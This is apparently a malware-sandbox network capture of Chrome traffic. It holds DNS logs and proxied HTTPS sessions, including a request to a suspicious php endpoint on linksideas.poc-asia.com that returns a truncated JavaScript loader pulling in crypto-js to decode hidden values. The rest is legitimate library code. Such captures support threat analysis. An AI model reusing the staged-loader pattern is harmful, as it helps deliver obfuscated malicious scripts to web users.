Oct 18, 2024 15:49:15.897496939 CEST	1.1.1.1	192.168.2.8	0x9e28	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:15.897496939 CEST	1.1.1.1	192.168.2.8	0x9e28	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:15.897496939 CEST	1.1.1.1	192.168.2.8	0x9e28	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:15.899408102 CEST	1.1.1.1	192.168.2.8	0xe9de	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:49:17.404972076 CEST	1.1.1.1	192.168.2.8	0xc924	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:49:17.406286001 CEST	1.1.1.1	192.168.2.8	0x7b2c	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:49:17.406286001 CEST	1.1.1.1	192.168.2.8	0x7b2c	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:17.406286001 CEST	1.1.1.1	192.168.2.8	0x7b2c	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:17.406286001 CEST	1.1.1.1	192.168.2.8	0x7b2c	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:43.859052896 CEST	1.1.1.1	192.168.2.8	0x3ed1	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:43.859945059 CEST	1.1.1.1	192.168.2.8	0xb64a	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 18, 2024 15:50:20.732131958 CEST	1.1.1.1	192.168.2.8	0xdece	No error (0)	bat-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:50:20.732131958 CEST	1.1.1.1	192.168.2.8	0xdece	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:20.732131958 CEST	1.1.1.1	192.168.2.8	0xdece	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:20.732609034 CEST	1.1.1.1	192.168.2.8	0x96c3	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:50:20.732609034 CEST	1.1.1.1	192.168.2.8	0x96c3	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:20.732609034 CEST	1.1.1.1	192.168.2.8	0x96c3	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:20.732609034 CEST	1.1.1.1	192.168.2.8	0x96c3	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:20.733779907 CEST	1.1.1.1	192.168.2.8	0x3c3b	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:50:21.582691908 CEST	1.1.1.1	192.168.2.8	0x698e	No error (0)	stats.g.doubleclick.net		74.125.206.157	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:21.582691908 CEST	1.1.1.1	192.168.2.8	0x698e	No error (0)	stats.g.doubleclick.net		74.125.206.155	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:21.582691908 CEST	1.1.1.1	192.168.2.8	0x698e	No error (0)	stats.g.doubleclick.net		74.125.206.156	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:21.582691908 CEST	1.1.1.1	192.168.2.8	0x698e	No error (0)	stats.g.doubleclick.net		74.125.206.154	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:22.560614109 CEST	1.1.1.1	192.168.2.8	0xad6	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:50:22.560614109 CEST	1.1.1.1	192.168.2.8	0xad6	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:22.560614109 CEST	1.1.1.1	192.168.2.8	0xad6	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:22.560614109 CEST	1.1.1.1	192.168.2.8	0xad6	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:22.560630083 CEST	1.1.1.1	192.168.2.8	0xbf31	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:50:50.432269096 CEST	1.1.1.1	192.168.2.8	0x5984	No error (0)	ws6.qualified.com		104.18.17.5	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:50.432269096 CEST	1.1.1.1	192.168.2.8	0x5984	No error (0)	ws6.qualified.com		104.18.16.5	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:50.434134960 CEST	1.1.1.1	192.168.2.8	0xa16e	No error (0)	ws6.qualified.com			65	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49714	103.17.8.67	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:42 UTC	699	OUT	GET /img/arull.php?0096797967704b5369323074645079732f507a73784c54307a4a5430374e3055764f7a3955506a444b4c384e554841413d3dverbal HTTP/1.1 Host: www.linksideas.poc-asia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:47:42 UTC	222	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:47:42 GMT Server: Apache Access-Control-Allow-Origin: * Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2024-10-18 13:47:42 UTC	1326	IN	Data Raw: 35 32 32 0d 0a 76 61 72 20 77 61 74 63 68 74 6f 77 65 72 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 77 61 74 63 68 74 6f 77 65 72 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 77 61 74 63 68 74 6f 77 65 72 29 3b 0d 0a 77 61 74 63 68 74 6f 77 65 72 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 76 61 72 20 7b 61 2c 62 2c 63 2c 64 7d 20 3d 20 4a 53 4f 4e 2e 70 61 72 73 65 Data Ascii: 522var watchtower= document.createElement("script");watchtower.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(watchtower);watchtower.onload=function(){var {a,b,c,d} = JSON.parse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49716	104.17.24.14	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:43 UTC	526	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:47:43 UTC	962	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:47:43 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 126089 Expires: Wed, 08 Oct 2025 13:47:43 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B58vzp0iWTODkF1ezFjTICwxtS4ndaOManGpqGUWx1Cz1E%2BXGUtSZNuOMH%2BL%2FRgmDo%2FZCOjStANJmAtWDInsOkTngGcNtkMTBMKiYEHZxbYE58TXL7OtmvMkTwsPQ7Tg42C7i4YV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d48fb5e3bdce85f-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:47:43 UTC	407	IN	Data Raw: 37 62 65 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7be7!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-10-18 13:47:43 UTC	1369	IN	Data Raw: 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: &(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typ
2024-10-18 13:47:43 UTC	1369	IN	Data Raw: 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 Data Ascii: o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:fu
2024-10-18 13:47:43 UTC	1369	IN	Data Raw: 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 Data Ascii: se(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doPr
2024-10-18 13:47:43 UTC	1369	IN	Data Raw: 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e Data Ascii: 55===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>
2024-10-18 13:47:43 UTC	1369	IN	Data Raw: 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 Data Ascii: 2+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i
2024-10-18 13:47:43 UTC	1369	IN	Data Raw: 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 Data Ascii: >6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294
2024-10-18 13:47:43 UTC	1369	IN	Data Raw: 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 Data Ascii: S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38
2024-10-18 13:47:43 UTC	1369	IN	Data Raw: 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 Data Ascii: clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(
2024-10-18 13:47:43 UTC	1369	IN	Data Raw: 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e Data Ascii: ),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49719	104.17.24.14	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:44 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:47:45 UTC	964	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:47:45 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 126091 Expires: Wed, 08 Oct 2025 13:47:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VePOsm7KdN4pIq%2FWR%2FOTxtkTJqguqrd%2FGFiWsk2olVC8OLeoPtkk44HXsnYiWiytbjsZQJCBNe9h4xr%2BD%2BcSLCvL0EOw5PYS9zAjip5v01g%2Fhug1DgkWCLvl85IisoBffLw0RaYW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d48fb667e25a927-DFW alt-svc: h3=":443"; ma=86400
